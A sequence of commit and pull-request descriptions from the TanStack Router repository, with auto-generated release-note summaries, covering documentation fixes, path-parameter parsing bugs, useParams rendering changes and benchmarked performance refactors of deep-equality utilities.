Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
Since the RC, serverOnly and clientOnly no longer exist, and we use
createServerOnlyFn and createClientOnlyFn. I updated the docs to reflect
that.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- New Features
- Introduced createServerOnlyFn and createClientOnlyFn helpers for
environment-bound execution.
- Documentation
- Updated guides, examples, import examples, error messages, and
tree-shaking notes to use the new helper names.
- Refactor
- Renamed public environment helpers (serverOnly → createServerOnlyFn,
clientOnly → createClientOnlyFn) and removed the old exports from the
public API.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
The docs make references to react in a lot of places. I updated the ones
I could find in the build-from-scratch guide to use proper solid-js
package names and other references.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- **Documentation**
- Expanded "build from scratch" guide for migrating from React to
SolidJS.
- Added comprehensive mapping of React libraries, tooling, and plugins
to Solid equivalents.
- Documents alternative React tooling options and Solid-compatible
plugin recommendations.
- Clarifies updating JSX runtime and project configuration for SolidJS.
- Describes import/usage changes and fragment/JSX differences needed for
Solid.
- Notes removal of React-specific type artifacts during migration.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
Co-authored-by: Nico Lynzaad <nlynzaad@zylangroup.com>
This fixes an unclosed Markdown code block in the `server-functions`
documentation page. Without the closing fence, the rest of the page
renders incorrectly.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Documentation**
* Standardized code block formatting in the React Server Functions guide
by replacing four-backtick fences with standard triple backticks for
TypeScript snippets.
* Improves readability, syntax highlighting, and consistency across
examples, including route loading and basic parameter sections.
* No changes to behavior, APIs, or functionality.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
Fixes some issues I was having with https://conform.guide (also fixes
https://github.com/TanStack/router/issues/4533)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Compile-time serialization validation now recognizes readonly arrays
and tuples for inputs and results, preserving tuple shapes and improving
type inference and editor experience; no runtime changes.
* **Tests**
* Added type-level tests covering recursive, nested, readonly array and
tuple scenarios to verify compile-time validation and type propagation.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Update installation instructions and routing configurations for TanStack
Start.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Documentation**
* Updated React migration guide from Next.js with current routing
conventions and defaults.
* Adjusted installation guidance to reflect updated tooling and plugin
placement.
* Clarified new project layout defaults (explicit src directory and
routes location).
* Renamed and simplified example entry file and setup steps.
* Refreshed examples to use the new routing, link and server-function
patterns for parity with Next.js App Router.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
corrects broken links in the start docs
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Documentation**
* Updated numerous cross‑reference links across React start guides
(authentication, execution model, server functions, environment
variables, middleware, router guides, migration) to point to correct
locations.
* Hosting guide: added a Netlify section with setup example; updated
Cloudflare Workers and Railway/Node.js anchors for clarity.
* Authentication docs: minor formatting tweaks.
* Server routes: removed merge conflict markers and cleaned content.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Tiny fix 😊
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Documentation**
* Corrected middleware chaining in the React static server functions
example, replacing an erroneous double-dot with proper single-dot method
chaining.
* Example now compiles and accurately reflects the fluent API, improving
clarity for readers.
* No changes to public APIs or runtime behavior; this is a documentation
fix to prevent developer confusion.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
as part of #5169 we made changes to strip underscores from the paths to
ensure it is dealt with correctly during parsing.
inadvertently this stripped it from not only the route segments but also
the base segments. This PR resolves that issue by making
`baseParsePathName` aware which type of segments it is parsing.
a new optional boolean paramater, ```basePathValues```, is introduced in
`baseParsePathName` and `parsePathname` to allow this distinction
between routeSegments and/or basesegments to be passed on to
`baseParsePathName`.
2 new functions are introduced `parseBasePathSegments` and
`parseRoutePathSegments`, which is just wrapper functions around
`parsePathname`, but ensures clearer understanding of what set of
parsing instructions is applied and `basePathValues `is set correctly
based on the requirement.
updated the unit tests to take into account the need not to strip the
base values and also enhanced the e2e tests as well to ensure more
through testing with different usages.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- New Features
- Added non-nested route demos (named, prefix, suffix, path) with
index/foo/bar pages and updated navigation in React and Solid examples.
- Bug Fixes
- Improved path parsing/matching to handle non-nested segments,
prefixes/suffixes and trailing underscores; refined route
sorting/resolution.
- Tests
- Added comprehensive E2E coverage for non-nested paths; removed
obsolete baz-based tests.
- Expanded unit tests for path interpolation and matching (underscore,
prefix/suffix cases).
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fixes#5155
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved server-side rendering stability by correctly finalizing the
initial render before injecting additional HTML, preventing rare hangs
or incomplete pages.
* Applies to both React and Solid router SSR paths.
* **Performance**
* Slightly reduces SSR latency by signaling render completion earlier in
the pipeline.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
This PR continues on from #5165 and primarily adds additional tests to
path resolution and matchByPath for non-nested paths in additiona to e2e
test for both react and solid router to verify non-nesting
functionality.
One additional issue was picked up for handling of normal path segments.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- New Features
- Added non-nested demo routes and navigation examples (including
dynamic and edit paths) for React and Solid, with headings, links, and
parameter displays.
- Bug Fixes
- Improved path parsing/decoding for non-nested segments to prevent
unintended nesting and ensure correct parameter values.
- Tests
- Added broad unit tests for non-nested path parsing/matching/resolution
(case-sensitive/insensitive, wildcards, optional/fuzzy).
- Added e2e tests validating non-nested navigation and params; reduced
e2e flakiness by awaiting network idle.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
When parsing path params to interpolate the path non-nested path params
```/path/$param_``` was being parsed in the same manner as regular path
params ```/path/$param```.
This PR adds consideration for the trailing underscore when parsing the
path for non-nested path params as well as unit tests on path
interpolation and e2e tests for useParams to ensure this is parsed
correctly and updates correctly when params change.
This resolves#5164
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- New Features
- Support trailing-underscore non-nested path params (e.g., /users/$id_
→ /users/123).
- UI shows an additional navigation link for the non-nested route
(/params-ps/non-nested/foo2/bar2) and improved link display text.
- Tests
- Expanded React and Solid e2e tests to cover the new link, navigation,
and param parsing for foo2/bar2.
- Added unit tests validating interpolation/matching for the $param_
syntax.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
I noticed a slight performance dip during some navigations and the
bottom-up call list of the flame graph seemed to point to the
`composeHandler`. This seems (surprising and) pretty minor, but I'm
measuring a consistent 3ms self-time when the resulting handler is
actually being called.
This PR proposes ditching array methods and using a `for-of` loop. This
is good-enough™ and preserves the generality and DX of this function for
a 25% perf improvement.
```sh
✓ @tanstack/react-router tests/foo.bench.tsx > composeHandlers 10064ms
name hz min max mean p75 p99 p995 p999 rme samples
· array methods 37,152,711.10 0.0000 0.1624 0.0000 0.0000 0.0000 0.0000 0.0002 ±0.14% 18576357
· for-of 47,029,751.81 0.0000 0.0236 0.0000 0.0000 0.0000 0.0000 0.0001 ±0.07% 23514876 fastest
BENCH Summary
@tanstack/react-router for-of - tests/foo.bench.tsx > composeHandlers
1.27x faster than array methods
```
A slightly more performant (~30%) version would be to handle *exactly* 2
handlers instead of an arbitrary number (since `composeHandlers` is only
used w/ 2 callbacks) but this does affect the generality and DX of this
function.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- **Refactor**
- Updated link event handling to short-circuit when an action is
prevented, maintaining existing behavior.
- Streamlined internal logic for handling user interactions with links
for improved efficiency.
- **Performance**
- Minor efficiency improvements in link interaction handling without
altering the public API or user-facing behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Adding a new tutorial to Docs -> Tutorials
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* Documentation
* Added a step-by-step tutorial showing server-side route-loader
fetching from an external API into a TanStack Start React app (TMDB
example), covering project setup, env token usage, data flow (SSR),
loading/error states, UI samples, and testing instructions
(/fetch-movies).
* Chores
* Added a Tutorials entry linking the new guide into the React
documentation navigation.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Incorporating feedback from PR -
https://github.com/TanStack/router/pull/4089. Changes made -
1. Moved images to `assets` folder on suggestion
2. Changed URLs from absolute to relative.
3. Adding an in-line sequence diagram
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Newly added jokes now receive unique identifiers, improving
reliability when creating new entries.
* **Documentation**
* Updated links to internal paths for SSR, router concepts, and React
Query sections.
* Switched images to repository-hosted assets for consistency and
availability.
* Replaced the data flow image with an inline Mermaid sequence diagram
covering home-page loading and add-joke flows, including data refresh
behavior.
* Minor formatting cleanup.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Fixes#5116
### Root Cause
In PR #4907, the TypeScript compiler option `stripInternal` was enabled
in tsconfig.json, which causes TypeScript to remove any declarations
marked with `@internal` from the published `.d.ts` files.
This resulted in TypeScript compilation errors for library users who
have set the TypeScript compiler option `skipLibCheck` to `false`,
because the following members were missing:
- `InferStructuralSharing` type in `react-router`
- `handleHashScroll` function in `router-core > scrollRestoration`
### Fix
- This PR replaces the `@internal` annotation with the `@private`
annotation.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Documentation**
* Updated internal API annotations in routing packages to mark certain
items as private, improving the accuracy of generated developer
documentation.
* No changes to public APIs, behavior, or performance.
* No user-facing impact.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
This PR resolves#5133 by making the _strictParams more conscious of
path defining characters and other wildcards. It also adds e2e tests for
react and solid
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- **New Features**
- Added “Non-nested path params” pages and links in React and Solid
basic-file-based e2e tests at /params-ps/non-nested, plus nested dynamic
routes to view single and combined params; UI links and outlets
included.
- **Bug Fixes**
- Improved internal path-parameter resolution so strict param extraction
uses the full route path for more accurate matching.
- **Tests**
- Added end-to-end tests verifying navigation to
/params-ps/non-nested/foo/bar and correct partial vs. full param values.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Just to make it easier to tweak the values and understand the scales /
functions, we extract all score modifiers to constants w/ descriptive
names.
This PR is a no-op, no logic was modified.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- Bug Fixes
- Improved route matching accuracy by prioritizing routes with static
segments that appear after dynamic parameters.
- More predictable matching in complex paths; reduces unexpected
selections.
- Wildcard routes handled more consistently.
- Refactor
- Updated internal route scoring to consider deeper static segments
without changing the public API.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
- move `processRouteTree` to a separate file because the logic is very
self-contained
- create a new function `sortRoutes` w/ the sorting logic, so it can be
tested independently
This PR is a no-op, we're just moving code around, *nothing* was
changed.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- New Features
- Added a public Route type for describing route objects in route trees.
- Refactor
- Consolidated route processing into a dedicated module for clearer
separation and maintainability.
- Updated public exports for route processing; existing imports may need
to be adjusted.
- No runtime behavior changes expected.
- Tests
- Updated tests to use the new public Route type and revised import
paths.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
resolves#5123 and adds checks to tests to ensure this runs as minimally
as possible
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Performance**
* Reuses existing route matches to reduce redundant param parsing and
stabilize navigation/loading behavior.
* **Tests**
* Updated tests to match the new postId param shape, navigation paths,
and parameter displays; added mocks to verify param parsing calls.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
with changing useParams to make use of _strictParams it became apparent
that _strictParams did not apply param parsing correctly. This PR
resolves that problem and hence useParams now return the parsed params
correctly.
This PR also adds unit tests in both react-router and solid-router to
test this expected result.
A separate PR has been created to merge into alpha (#5121)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- New Features
- Stricter route parameter parsing and validation with support for
custom parse/stringify.
- Clearer per-route parameter error reporting, with optional
throw-on-error behavior.
- More consistent parameter values across nested routes and loaders.
- Tests
- Added integration tests validating useParams with nested routing,
custom param parsing/stringifying, and loader data in both React and
Solid routers.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
paths in "migrate from react location" and "migrate from react-router"
to the installation docs form installing Tanstack router returns 404.
This PR fixes the incorrect relative paths.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Documentation**
* Updated installation guide links in the React migration guides for
TanStack Router to point to the correct “How to Install” page.
* Ensures migration steps reference the right documentation, improving
navigation for users following the guides.
* No functional or code changes.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
The link to External Data Loading on the [Query
Integration](https://tanstack.com/router/latest/docs/integrations/query)
page currently throws a 404.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Documentation**
* Corrected a link in the Router integrations guide to point to the
proper External Data Loading page in the React framework section. This
fixes navigation from that note and ensures readers can access the
referenced guidance without errors. No functional changes to the
product; content remains otherwise unchanged and reduces confusion.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
release
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Documentation**
* Minor punctuation update in inline documentation comments to maintain
consistency.
* No changes to features, user interface, performance, or behavior.
* APIs, configuration, and compatibility remain unaffected.
* This update is purely editorial and does not alter builds,
deployments, or runtime.
* Users and integrators do not need to take any action.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#5020 highlighted an issue where when using useParams in parent route
(that has its own path param) with child routes that also use path
params this can cause excessive re-rendering of the parent route when
the params for the child routes changes.
The root cause for this is that the child params are available to the
parent route, even when strict=false was not specified and this also
does not match to the types that is being returned in this case. This
can be worked around by using select inside the useParams hook/function
but results in unnecessary boilerplate.
This PR attempts to resolve the issue by dealing with the two distinct
cases, one where we are only concerned about the path params of the
current route and prior routes (strict=true/undefined) and the second
where we want access in the parent route to the path params of the child
routes (strict=false).
In the strict case we use the match id to return the params of the
specific match, which is constant and results in stable rendering, while
in the strict=false case we fallback to the initial implementation of
returning params from the useMatch result which can be variable and
requires re-rendering to be done.
Changes were done on useParams for both react and solid, in solid's case
this wasn't causing re-renders but did return unexpected child params,
the change for solid is more toward keeping the API and expected outputs
consistent between the two frameworks. existing unit tests for react was
updated and e2e tests for both frameworks was added to ensure rendering
and results match the expected.
A separate merge has been prepared for Alpha and will be merged on
signoff of this one.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- **New Features**
- Added nested named-parameter routes (three-level: foo → bar → baz) in
example apps with nested navigation, outlets, links and render-count
displays.
- Added a small render-counter component to visualize component
re-renders.
- **Bug Fixes**
- Improved params selection to respect strict vs non-strict modes,
reducing excess renders and producing stable param values.
- **Tests**
- Added E2E tests for React and Solid examples covering param navigation
and render-counts; expanded router unit tests for nested-route stability
and remount behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Fixes#5085
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Documentation**
* Updated the Solid framework “Learn the Basics” guide to correct the
client hydration example, targeting the appropriate DOM root.
* Clarifies which element to hydrate, aligning the snippet with current
best practices and reducing confusion for readers.
* Improves copy‑paste reliability of the example for newcomers following
the setup steps.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
First PR to add framework agnostic unit tests covering router behavior.
We need to add many more (and eventually lighten the tests in each
framework).
This PR adds tests about when a beforeLoad and a loader should execute.
Next PR should add tests about how context is passed.
Look at these issues to see what should be tested:
https://github.com/TanStack/router/issues/4696
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Tests**
* Added comprehensive tests validating preload behavior for route
loading hooks (beforeLoad and loader), covering resolved, pending, and
rejected outcomes including notFound and redirects.
* Verifies navigation control flow, hook invocation counts, pending vs
cached matches, final locations, and loader data handling.
* Includes sibling-route "stay" scenarios and timing helpers to
strengthen async/timing reliability.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
The current `Link` component doesn't have `preloadTimeout` prop as
stated in the docs. This PR updates documentation to use the correct
`preloadDelay` prop.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Documentation**
* Updated terminology from “Link Preloading Timeout” to “Link Preloading
Delay” to improve clarity.
* Revised examples to use the preloadDelay option instead of
preloadTimeout.
* Clarified that the default delay remains 50 ms.
* Ensured consistency across headings, descriptions, and code snippets
to match the current public API.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Inserted relevant logo files and/or blurbs re: Prisma Postgres in the
relevant places. Please review and edit as you see fit.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- Documentation
- Added a Prisma partner tile to the Partners section, linking to
prisma.io with tracking parameters and logo.
- Introduced a Prisma Postgres subsection in the React databases guide
with dark/light logos, feature highlights (edge-optimized, fits your
stack, web UI, auto-scaling, unikernel isolation), and CTAs; placed
after Neon.
- Added Prisma to the TanStack Start funded partners overview with logo
and description, positioned between Neon and Convex.
- No functional or API changes.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
Co-authored-by: Tanner Linsley <tannerlinsley@gmail.com>
As highlighted by #5062 when using a mask, the location is being built
multiple times.
While we need to build the next path as well as the mask, the mask is
being built twice. this PR fixes that by using the first build of the
mask as the maskedLocation for the next path.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Optimized routing logic to avoid redundant work when applying masked
destinations, reducing unnecessary computation during navigation. No
changes to behavior or public APIs.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
idk when this function is used, but this is an easy win
```sh
✓ @tanstack/router-core tests/match-by-path.bench.ts > isMatch 3251ms
name hz min max mean p75 p99 p995 p999 rme samples
· new implementation 10,695,733.21 0.0000 1.0057 0.0001 0.0001 0.0001 0.0002 0.0003 ±0.43% 5347867 fastest
· old implementation 7,647,886.94 0.0000 0.1493 0.0001 0.0001 0.0002 0.0002 0.0003 ±0.08% 3823944
BENCH Summary
@tanstack/router-core new implementation - tests/match-by-path.bench.ts > isMatch
1.40x faster than old implementation
```
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Optimized internal path-matching logic to reduce array mutations and
improve performance during route resolution.
* Improves efficiency and lowers memory churn in navigation-heavy
scenarios.
* No changes to expected behavior or public APIs.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Streamlined header initialization in redirect handling to rely on
default behavior when no headers are provided.
* Improves consistency and reduces implicit assumptions in header
processing without altering existing behavior.
* **Chores**
* Minor internal cleanup to align with standard header handling
patterns.
No functional changes are expected for end-users; redirects and related
headers continue to behave as before.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Fix https://github.com/TanStack/router/issues/5078
I had not pushed this before because ESLint was angry w/ me, and now
stuff breaks :'(
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved reliability when comparing and updating objects with null
prototypes, addressing edge-case behavior and preventing unexpected
failures.
* Hardened own-property checks to behave consistently across different
object shapes.
* No changes to the public API.
* **Tests**
* Added coverage for handling objects created without a prototype to
ensure correct comparison and update behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Following https://github.com/TanStack/query/pull/9604, this PR
replicates the implementation of `replaceEqualDeep` here, so that both
are more similar (avoid drifting apart over time).
There are no performance changes.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- Performance
- Optimized internal deep-compare and replacement logic to short-circuit
equal values and avoid unnecessary recursion, improving route state
updates. Users may see faster navigations and reduced CPU usage in
complex scenarios.
- Refactor
- Simplified internal implementation while preserving existing behavior
and public APIs. No functional changes or breaking changes for
consumers.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
This is a follow-up to #4978.
As picked up by @Sheraff the changes made caused useNavigate to
negatively impact performance specifically with useNavigate being too
reactive to path changes.
This reverts the use of useActiveLocation, that acted as a single
implementation of the logic to determine the from location, and moves
the determination of the from path back to each of Link and useNavigate.
While the core logic is still the same across the implementations the
implication of how it's used and the sources of the required inputs are
different enough that it warrants separate implementations.
This PR does not revert the full change set and still applies to core
reasons and changes for the previous commit in keeping the logic for
determining the from clause the same, i.e. the order of determining the
from path for navigation remains: from clause => current location =>
rendered location.
@Sheraff to advise if this implementation resolves the issues he picked
up.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* Breaking Changes
* Removed active-location hooks and their associated types from React
and Solid packages.
* Refactor
* Link and navigation now accept an explicit "from" option instead of
deriving it from active-location state.
* New Features
* Added a programmatic Navigate helper for Solid to trigger navigation
on mount.
* Bug Fixes
* More predictable fallback behavior when no explicit "from" is
provided.
* Performance
* Reduced state subscriptions for minor efficiency gains.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
## Description
Improve performance of this function that gets called a lot for
structural sharing. Main improvements are
- avoid creating object when possible
(`Object.keys().concat(Object.getOwnPropertySymbols())` creates 3
arrays, when we only want 1)
- instantiating array to the correct size avoids a lot of memory
management under the hood (prefer `new Array(size)` over `[]`)
- avoid reading the same value many times on an object, store is as a
const
More minor changes (not 100% sure I can measure it, but I think so):
- using `keys.includes(k)` is slower than
`Object.hasOwnProperty.call(obj, k)` or `obj.hasOwnProperty(k)`
## benchmark
TL;DR: consistently 1.3x faster implementation
```ts
describe('replaceEqualDeep', () => {
bench('old implementation', () => {
replaceEqualDeepOld({ a: 1, b: [2, 3] }, { a: 1, b: [2, 3] })
replaceEqualDeepOld({ a: 1, b: [2, 3] }, { a: 2, b: [2] })
})
bench('new implementation', () => {
replaceEqualDeep({ a: 1, b: [2, 3] }, { a: 1, b: [2, 3] })
replaceEqualDeep({ a: 1, b: [2, 3] }, { a: 2, b: [2] })
})
})
```
```sh
✓ @tanstack/router-core tests/utils.bench.ts > replaceEqualDeep 1540ms
name hz min max mean p75 p99 p995 p999 rme samples
· old implementation 1,040,201.62 0.0008 0.7638 0.0010 0.0010 0.0013 0.0016 0.0022 ±0.33% 520101
· new implementation 1,347,988.70 0.0006 2.4037 0.0007 0.0007 0.0010 0.0010 0.0013 ±0.95% 673995 fastest
BENCH Summary
@tanstack/router-core new implementation - tests/utils.bench.ts > replaceEqualDeep
1.30x faster than old implementation
```
---
The `replaceEqualDeep` implementation before this PR handles Symbol
keys, and non-enumerable keys (see
https://github.com/TanStack/router/pull/4237), but **not** keys that are
both a Symbol and non-enumerable.
This PR fixes this issue. But if we also fix it in the previous
implementation before comparing performance we get a bigger perf diff
```sh
✓ @tanstack/router-core tests/utils.bench.ts > replaceEqualDeep 1471ms
name hz min max mean p75 p99 p995 p999 rme samples
· old implementation 713,964.88 0.0012 0.7880 0.0014 0.0014 0.0019 0.0023 0.0050 ±0.35% 356983
· new implementation 1,319,003.07 0.0006 5.0000 0.0008 0.0007 0.0010 0.0016 0.0050 ±1.96% 659502 fastest
BENCH Summary
@tanstack/router-core new implementation - tests/utils.bench.ts > replaceEqualDeep
1.85x faster than old implementation
```
---
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Change detection now includes symbol-keyed properties, treats
undefined/missing entries consistently, and avoids processing objects
with non-enumerable own properties to prevent incorrect updates.
* No public API changes.
* **Performance**
* Equality/merge logic reuses unchanged values more reliably and
improves array update handling by allocating appropriately, reducing
unnecessary work.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
## description
- inline `getObjectKeys` as regular control flow inside `deepEqual` to
be able to skip as much work as possible, and create fewer objects
- using a regular `for` loop for the array case to skip the overhead of
using native array iterators w/ the `.every()` or `.some()` methods
- check `Array.isArray` before `isPlainObject` because this check is
cheaper
- `opts.partial` is a special case that allows us to skip a bunch of
work, so we give it its own branch
## benchmark
TL;DR: consistently 1.7x faster implementation
```ts
describe.only('deepEqual', () => {
bench('old implementation', () => {
deepEqualOld({ a: 1, b: [2, 3] }, { a: 1, b: [2, 3] }, {partial: true})
deepEqualOld({ a: 1, b: [2, 3] }, { a: 2, b: [2] })
})
bench('new implementation', () => {
deepEqual({ a: 1, b: [2, 3] }, { a: 1, b: [2, 3] }, {partial: true})
deepEqual({ a: 1, b: [2, 3] }, { a: 2, b: [2] })
})
})
```
```sh
✓ @tanstack/router-core tests/utils.bench.ts > deepEqual 2484ms
name hz min max mean p75 p99 p995 p999 rme samples
· old implementation 3,806,354.20 0.0002 4.3084 0.0003 0.0003 0.0005 0.0007 0.0013 ±1.78% 1903178
· new implementation 6,978,154.05 0.0001 0.1937 0.0001 0.0002 0.0002 0.0002 0.0003 ±0.15% 3489078 fastest
BENCH Summary
@tanstack/router-core new implementation - tests/utils.bench.ts > deepEqual
1.83x faster than old implementation
```
----
This PR also adds test cases for using `deepEqual` w/ objects containing
Symbol and non-enumerable keys. The behavior for those was not changed
in this PR, we're just documenting it: they are simply ignored.
----
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved deep-equality checks for arrays and object comparisons;
ignore-undefined handling clarified and made more consistent.
* **Refactor**
* Iteration and comparison logic reorganized for earlier
short-circuiting; behavior around enumerable (including inherited) keys
adjusted; no public API changes.
* **Tests**
* Added tests demonstrating edge cases with symbol/non-enumerable
properties and prototype augmentation (marked as expected failures).
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Refactored a bit router options.Wrap and options.InnerWrap usage in
RouterProvider and Match components.
Now they will be able to provide context for their children components.
Added few tests for scenarios that were failing before.
Fixes#3744
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* New Features
* Consistent wrapper handling across routing so routed content and
pending states share the same wrapper/context without adding extra DOM
nodes.
* Exposed createMemoryHistory for memory-based routing in apps and
tests.
* Refactor
* Simplified suspense and wrapper handling for clearer, safer rendering
behavior.
* Tests
* Added tests verifying context propagation through wrappers and into
pending (fallback) states.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
When using relative routing we have 3 things to consider:
1) Is this relative to the current location? This is specifically
relevant for using `to="."` and `to=".."` in layout routes
2) Is this relative to the rendered route location?
3) Should this be relative to some other route in the tree
We have had a few issues where it hasn't been clear how relative routing
is applied in various scenarios, and where the application differs, for
example `to="."` and `to=".."` was treated differently.
This PR applies the following:
1) when no from path is specified, navigation is done from the current
location, this does not affect absolute paths but makes relative paths
more standardised.
2) other relative navigations require a from location to be specified.
This is achieved by setting Link and useNavigate to default to the
current active location instead of the rendered route location. This
also simplifies the logic in buildLocation as we no longer specifically
cater for `to="."`.
Included in this PR is the required changes to router-core
(buildLocation), react-router and solid-router (Link and useNavigate),
tests for both react-router and solid-router and an update to the docs
to clarify the usage.
This closes#4842
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Added active-location hooks, origin-aware navigation helpers,
programmatic Route API for Link generation, browser-history utilities,
optional from origin for Navigate, and route fullPath exposure.
* **Bug Fixes**
* More deterministic relative navigation (., ..) resolution,
preservation of search/params, and runtime warnings for invalid origins.
* **Documentation**
* Clarified relative-link semantics and updated examples.
* **Tests**
* Vastly expanded end-to-end coverage for relative navigation, masking,
basepath, and trailing-slash permutations.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Add a few more setup configurations to measure the number of `__store`
updates:
- with caching (`staleTime > 0`)
- when preloading multiple times the same route (simulates hovering a
list of links to the same page w/ different params)
---------
